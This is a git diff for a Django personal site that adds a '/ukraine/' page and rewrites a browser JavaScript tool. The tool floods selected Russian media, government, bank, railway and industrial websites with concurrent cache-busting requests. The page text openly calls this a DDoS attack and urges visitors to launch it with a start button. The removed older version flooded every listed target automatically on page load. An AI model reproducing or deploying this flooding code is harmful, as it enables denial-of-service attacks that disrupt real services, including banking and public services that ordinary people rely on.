diff --git a/base_app/static/base_app/css/ukraine.css b/base_app/static/base_app/css/ukraine.css new file mode 100644 index 0000000..e828d65 --- /dev/null +++ b/base_app/static/base_app/css/ukraine.css @@ -0,0 +1,20 @@ +.domain-wrapper { + display: flex; + flex-flow: row wrap; + justify-content: space-between; + width: 95%; + font-size: 11pt; +} + +.domain-segment-checkbox { + width: 5%; +} +.domain-segment-domain { + width: 45%; +} +.domain-segment-req { + width: 25%; +} +.domain-segment-err { + width: 25%; +} diff --git a/base_app/static/base_app/js/fuck_putin.js b/base_app/static/base_app/js/fuck_putin.js index dd50e7a..9b59621 100644 --- a/base_app/static/base_app/js/fuck_putin.js +++ b/base_app/static/base_app/js/fuck_putin.js @@ -1,110 +1,89 @@ -var targets = { - 'https://lenta.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://ria.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://ria.ru/lenta/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.rbc.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.rt.com/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'http://kremlin.ru/': {number_of_requests: 0, number_of_errore_responses: 0}, - 'http://en.kremlin.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://smotrim.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://tass.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://tvzvezda.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://vsoloviev.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.1tv.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.vesti.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://online.sberbank.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://sberbank.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://zakupki.gov.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.gosuslugi.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://er.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.rzd.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://rzdlog.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://vgtrk.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.interfax.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.mos.ru/uslugi/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'http://government.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://mil.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.nalog.gov.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://customs.gov.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://pfr.gov.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://rkn.gov.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.gazprombank.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.vtb.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.gazprom.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://lukoil.ru': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://magnit.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.nornickel.com/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.surgutneftegas.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.tatneft.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.evraz.com/ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://nlmk.com/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.sibur.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.severstal.com/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.metalloinvest.com/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://nangs.org/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://rmk-group.ru/ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.tmk-group.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://ya.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.polymetalinternational.com/ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.uralkali.com/ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://www.eurosib.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://ugmk.ua/': {number_of_requests: 0, number_of_errored_responses: 0}, - 'https://omk.ru/': {number_of_requests: 0, number_of_errored_responses: 0}, -}; -var statsEl = document.getElementById('stats'); +var CONCURRENCY_LIMIT = 50; +var queue = []; +var stop = false + +function req_update() { + slider = document.querySelector("#requests"); + infobox = document.querySelector("#amount"); + CONCURRENCY_LIMIT = slider.value; + infobox.innerHTML = slider.value; +} + +async function fetchWithTimeout(resource, options) { + const controller = new AbortController(); + const id = setTimeout(() => controller.abort(), options.timeout); + + return fetch(resource, { + method: 'GET', + mode: 'no-cors', + signal: controller.signal + }).then((response) => { + clearTimeout(id); + return response; + }).catch((error) => { + clearTimeout(id); + throw error; + }); +} + +async function flood() { + + // Collect selected domains + let targets = []; + let stat = document.querySelector("#status") + let domains = document.querySelectorAll(".domain-wrapper"); + domains.forEach((domain) => { + if (domain.children[0].children[0].checked) { + domain.errors = 0; + domain.requests = 0; + targets.push(domain); + } + }); + + stat.innerHTML = "Status: on" + + for (var i = 0; ; ++i) { + randarg = i % 3 === 0 ? '' : ('?' + Math.random() * 1000); + rand = Math.floor(Math.random() * targets.length) % targets.length; + target = targets[rand]; + queue.push( + fetchWithTimeout(target.children[1].innerHTML.trim() + randarg, {"timeout": 1000} + ).catch((error) => { + if (error.code === 20 /* ABORT */) { + return; + } + target.errors++; + } + ).then((response) => { + if (response && !response.ok) { + target.errors++; + } + target.requests++; + } + ) + ); + + if (queue.length >= CONCURRENCY_LIMIT) { + await queue.shift(); + } + if (stop) { + queue = []; + stat.innerHTML = "Status: off" + stop = false + return + } + } +} + +function printStats() { + domains = document.querySelectorAll(".domain-wrapper"); + domains.forEach((domain) => { + domain.children[2].innerHTML = `requests: ${domain.requests}`; + domain.children[3].innerHTML = `errors: ${domain.errors}`; + + }); -function printStats () { - statsEl.innerHTML = '' + Object.entries(targets).map(([target, { - number_of_requests, - number_of_errored_responses - }]) => '').join('') + '
URLNumber of RequestsNumber of Errors
' + target + '' + number_of_requests + '' + number_of_errored_responses + '
'; } setInterval(printStats, 1000); - -var CONCURRENCY_LIMIT = 1000; -var queue = []; - -async function fetchWithTimeout (resource, options) { - const controller = new AbortController(); - const id = setTimeout(() => controller.abort(), options.timeout); - return fetch(resource, { - method: 'GET', - mode: 'no-cors', - signal: controller.signal - }).then((response) => { - clearTimeout(id); - return response; - }).catch((error) => { - clearTimeout(id); - throw error; - }); -} - -async function flood (target) { - for (var i = 0; ; ++i) { - if (queue.length > CONCURRENCY_LIMIT) { - await queue.shift(); - } - rand = i % 3 === 0 ? '' : ('?' + Math.random() * 1000); - queue.push( - fetchWithTimeout(target + rand, {timeout: 1000}) - .catch((error) => { - if (error.code === 20 /* ABORT */) { - return; - } - targets[target].number_of_errored_responses++; - }) - .then((response) => { - if (response && !response.ok) { - targets[target].number_of_errored_responses++; - } - targets[target].number_of_requests++; - }) - ); - } -} -var _paq = window._paq = window._paq || []; _paq.push(['trackPageView']); _paq.push(['enableLinkTracking']); (function() { var u="https://area51.vug.pl/"; _paq.push(['setTrackerUrl', u+'matomo.php']); _paq.push(['setSiteId', '1']); var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0]; g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s); })(); -// Start -Object.keys(targets).map(flood); diff --git a/base_app/static/base_app/js/master.js b/base_app/static/base_app/js/master.js index 8410c3d..dd4722f 100644 --- a/base_app/static/base_app/js/master.js +++ b/base_app/static/base_app/js/master.js @@ -18,13 +18,14 @@ function navbar_click() { if (!nav.state.open) { nav.classList.add("navbar-active"); nav.classList.remove("navbar"); - nav.children[3].innerHTML = "<" + // TODO: This breaks with every new page added + nav.children[4].innerHTML = "<" nav.state.open = true; } else { nav.classList.remove("navbar-active"); nav.classList.add("navbar"); - nav.children[3].innerHTML = ">" + nav.children[4].innerHTML = ">" nav.state.open = false; } } diff --git a/base_app/templates/layout.html b/base_app/templates/layout.html index 18d73f5..2282f15 100644 --- a/base_app/templates/layout.html +++ b/base_app/templates/layout.html @@ -38,6 +38,11 @@ + + +
+

Jabber/XMPP: @dormouse@plch.xyz

+
diff --git a/base_app/templates/ukraine.html b/base_app/templates/ukraine.html new file mode 100644 index 0000000..9268f8b --- /dev/null +++ b/base_app/templates/ukraine.html @@ -0,0 +1,77 @@ +{% extends "layout.html" %} +{% load static %} + +{% block headerExtension %} + +{% endblock %} + +{% block content %} +
+ +

Glory to Ukraine! + +

+ +

Glory to heroes!

+ +

Say no to propaganda

+

+ This website is inspired by vug.pl (Careful, + this will immediately launch a DoS attack against russian servers.) +

+

+ Please bookmark that website as well, any page like this is at risk of + being taken down. If you wish to contact me about this effort, please do so + by encrypted means. I will send tutorials and help explain how to, if you do not + posses such skills. +

+

+ Thank you for your help. +

+ +

What can I do?

+

+ Below, you can see a list of domains and a start button. If you click + the start button, you launch a + DDoS attack (Wikipedia) + against russian servers and disinformation websites + directly connected to, or exclusively sourcing, russian propaganda. +

+

+ If you believe some website is missing or shouldn't be here, please + contact me using the information in the footer. +

+ + + +

Status: off

+

Max requests (more is better, pull down if browser is unusable):

+
+ +
+

50

+

Un/selecting a domain requres restart.

+ {% for domain in domains %} +
+
+ +
+
+ {{ domain }} +
+
+ requests: 0 +
+
+ errors: 0 +
+
+ {% endfor %} + +
+ + +{% endblock %} + diff --git a/base_app/views.py b/base_app/views.py index b661ab0..b3c21ba 100644 --- a/base_app/views.py +++ b/base_app/views.py @@ -1,9 +1,21 @@ from django.shortcuts import render -# Create your views here. from django.shortcuts import render, redirect from django.views.generic import TemplateView, FormView +import json + +# Helper functions +def get_domains(): + domains = None + with open("data/domains.json", "r") as f: + data = f.read() + domains = json.loads(data) + + return domains + + +# Create your views here. class IndexView(TemplateView): def get(self, request, *args, **kwargs): @@ -19,3 +31,10 @@ class LoremView(TemplateView): def get(self, request, *args, **kwargs): return render(request, "lorem.html", {}) +class UkraineView(TemplateView): + + def get(self, request, *args, **kwargs): + domains = get_domains() + return render(request, "ukraine.html", {"domains" : domains}) + + diff --git a/data/domains.json b/data/domains.json new file mode 100644 index 0000000..5327177 --- /dev/null +++ b/data/domains.json @@ -0,0 +1,53 @@ +[ + "https://lenta.ru/", + "https://ria.ru/", + "https://ria.ru/lenta/", + "https://www.rbc.ru/", + "https://www.rt.com/", + "http://kremlin.ru/", + "http://en.kremlin.ru/", + "https://smotrim.ru/", + "https://tass.ru/", + "https://tvzvezda.ru/", + "https://vsoloviev.ru/", + "https://www.1tv.ru/", + "https://www.vesti.ru/", + "https://online.sberbank.ru/", + "https://sberbank.ru/", + "https://zakupki.gov.ru/", + "https://www.gosuslugi.ru/", + "https://er.ru/", + "https://www.rzd.ru/", + "https://rzdlog.ru/", + "https://vgtrk.ru/", + "https://www.interfax.ru/", + "https://www.mos.ru/uslugi/", + "http://government.ru/", + "https://mil.ru/", + "https://www.nalog.gov.ru/", + "https://customs.gov.ru/", + "https://pfr.gov.ru/", + "https://rkn.gov.ru/", + "https://www.gazprombank.ru/", + "https://www.vtb.ru/", + "https://www.gazprom.ru/", + "https://lukoil.ru", + "https://magnit.ru/", + "https://www.nornickel.com/", + "https://www.surgutneftegas.ru/", + "https://www.tatneft.ru/", + "https://www.evraz.com/ru/", + "https://nlmk.com/", + "https://www.sibur.ru/", + "https://www.severstal.com/", + "https://www.metalloinvest.com/", + "https://nangs.org/", + "https://rmk-group.ru/ru/", + "https://www.tmk-group.ru/", + "https://ya.ru/", + "https://www.polymetalinternational.com/ru/", + "https://www.uralkali.com/ru/", + "https://www.eurosib.ru/", + "https://ugmk.ua/", + "https://omk.ru/" +] diff --git a/plchweb/urls.py b/plchweb/urls.py index 40756ad..34f9a48 100644 --- a/plchweb/urls.py +++ b/plchweb/urls.py @@ -15,11 +15,12 @@ Including another URLconf """ from django.contrib import admin from django.urls import path -from base_app.views import IndexView, LoremView, CVView +from base_app.views import IndexView, LoremView, CVView, UkraineView urlpatterns = [ path('admin/', admin.site.urls), path('', IndexView.as_view()), path('lorem-ipsum/', LoremView.as_view()), path('curriculum-vitae/', CVView.as_view()), + path('ukraine/', UkraineView.as_view()), ]